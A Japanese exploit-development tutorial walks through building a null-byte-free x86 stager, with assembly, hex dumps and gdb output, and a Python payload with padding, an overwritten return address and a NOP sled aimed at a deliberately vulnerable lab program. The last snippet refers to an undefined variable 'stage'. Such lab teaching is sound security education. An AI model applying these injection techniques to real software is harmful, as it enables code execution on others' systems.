x86でstagerを利用し、shellcode注入の準備をする

#stagerとは
shellcodeを組み立てる際、NULLバイトやスペース、改行が使用できない場合や、shellcodeの大きさに制限がある場合があります。
その際にstagerが役立ちます。
stagerは、shellcodeを受信できるコンパクトなコードです。stagerを対象のプログラム上で起動させてから、shellcodeを送り込むことになります。

#ターゲット
今回は以下のコードをターゲットにします。

```C:target.c
#include <stdio.h>

void input()
{
        int a = 0x33333333;
        int b = 0x44444444;
        char user[8] = "";
        char pass[8] = "";

        printf("user and pass\n");

        scanf("%s", user);
        // scanf("%s", pass);
}

int main()
{
        input();
        return 0;
}
```

以下のコマンドでコンパイルし、checksecを行います。

```
$ gcc -O0 -fno-stack-protector -z execstack -g -o target target.c

k$ ~/checksec.sh/checksec --file=target
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   76) Symbols       No    0               0               target
```
CANARYとNXが無効になっていることを確認してください。

#プログラムのスタックを確認する
objdumpでinput()を確認します。

```
0804845b <input>:
 804845b:       55                      push   ebp
 804845c:       89 e5                   mov    ebp,esp
 804845e:       83 ec 28                sub    esp,0x28
 8048461:       c7 45 f4 33 33 33 33    mov    DWORD PTR [ebp-0xc],0x33333333
 8048468:       c7 45 f0 44 44 44 44    mov    DWORD PTR [ebp-0x10],0x44444444
 804846f:       c7 45 e8 00 00 00 00    mov    DWORD PTR [ebp-0x18],0x0
 8048476:       c7 45 ec 00 00 00 00    mov    DWORD PTR [ebp-0x14],0x0
 804847d:       c7 45 e0 00 00 00 00    mov    DWORD PTR [ebp-0x20],0x0
 8048484:       c7 45 e4 00 00 00 00    mov    DWORD PTR [ebp-0x1c],0x0
```

スタックレイアウトは、次のようになっています。
![stack.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1508794/5378d09e-e25d-c96e-b6de-f4d4ec3270d3.png)

CANARYとNXが無効なため、scanf()にバッファオーバーフローの脆弱性があります。

# stagerを書く
stagerはshellcodeを読み込むため、システムコールreadを呼び出すように作成します。
readはeaxが3、ebxが0、ecxに読み込み先のアドレス、edxに読み込むサイズを指定し、int 80で呼び出します。
まずは、単純なstagerを作成してみます。

```stager_error.asm
BITS 32

_start:
        sub     esp, 0x80
        mov     eax, 3
        mov     ebx, 0
        mov     ecx, esp
        mov     edx, 0x80
        int     0x80
        push    ecx
        ret
```

コンパイルし、xxdで内容を確認します。

```
$ nasm stager_error.asm
$ xxd stager_error
00000000: 81ec 8000 0000 b803 0000 00bb 0000 0000  ................
00000010: 89e1 ba80 0000 00cd 8051 c3              .........Q.
```

このプログラムは単体なら動作しますが、scanfに渡すと動作しません。
理由は、NULLバイトが大量に含まれているためです。次に、NULLバイトを削除します。

# NULLバイトの削除

① mov eax, 0x3 は、0x3にNULLバイトが含まれるため、mov al, 0x3に置き換える
② mov ebx, 0 は、 xor ebx, ebxに置き換える。
置き換えたコードは以下になります

```
BITS 32

_start:
        sub     sp, 0x80
        xor     eax, eax
        mov     al, 0x3
        xor     ebx, ebx
        mov     ecx, esp
        mov     dl, 0x80
        int     0x80
        push    ecx
        ret
```

```
$ nasm stager_success.asm
$ xxd stager_success
00000000: 6681 ec80 0031 c0b0 0331 db89 e1b2 80cd  f....1...1......
00000010: 8051 c3                                  .Q.
```

NULLバイトが削除されています。

# exploitの準備
### 1, 配列userのアドレスを得る
gdbを起動し、input()にブレークポイントをセットした後、ebpの値を確認します。

```
$ gdb target
(gdb) b input
Breakpoint 1 at 0x8048461: file target.c, line 5.
(gdb) run
Starting program: /home/stager/work/target

Breakpoint 1, input () at target.c:5
5               int a = 0x33333333;
(gdb) disas
Dump of assembler code for function input:
   0x0804845b <+0>:     push   %ebp
   0x0804845c <+1>:     mov    %esp,%ebp
   0x0804845e <+3>:     sub    $0x28,%esp
=> 0x08048461 <+6>:     movl   $0x33333333,-0xc(%ebp)
   0x08048468 <+13>:    movl   $0x44444444,-0x10(%ebp)
   0x0804846f <+20>:    movl   $0x0,-0x18(%ebp)
   0x08048476 <+27>:    movl   $0x0,-0x14(%ebp)
   0x0804847d <+34>:    movl   $0x0,-0x20(%ebp)
   0x08048484 <+41>:    movl   $0x0,-0x1c(%ebp)
   0x0804848b <+48>:    sub    $0xc,%esp
   0x0804848e <+51>:    push   $0x8048570
   0x08048493 <+56>:    call   0x8048320 <puts@plt>
   ...
End of assembler dump.
(gdb) print $ebp
$1 = (void *) 0xbffff5d8
```

$ebpが0xbffff5d8なので、配列userは-0x18で0xbffff5C0です。

### 2 stagerを注入する
リターンアドレスを書き換えるため、0x18 + 0x4 = 0x1C個ダミーのデータを入れてリターンアドレスに到達します。
次に、リターンアドレスを書き換えますが、$ebp+4(0xbffff5dc)より大きければ良いです。
続いて、NOP(90)を適当な数配置します。NOP Sledと呼ばれる手法で、NOPに処理が渡ることで先頭アドレスを厳密に計算する必要がなくなります。
次に stagerを注入します。

pythonでコードを作成します。

```Python
import struct

def pI(addr):
        return struct.pack('<I', addr)

with open('stager', 'rb') as f:
        stager = f.read()

payload = b'A' * 0x1c
payload += pI(0xbffff5dc + 0x20)
payload += b'\x90' * 0x30
payload += stage
```

最後にsocket.sendなどでstagerを注入します。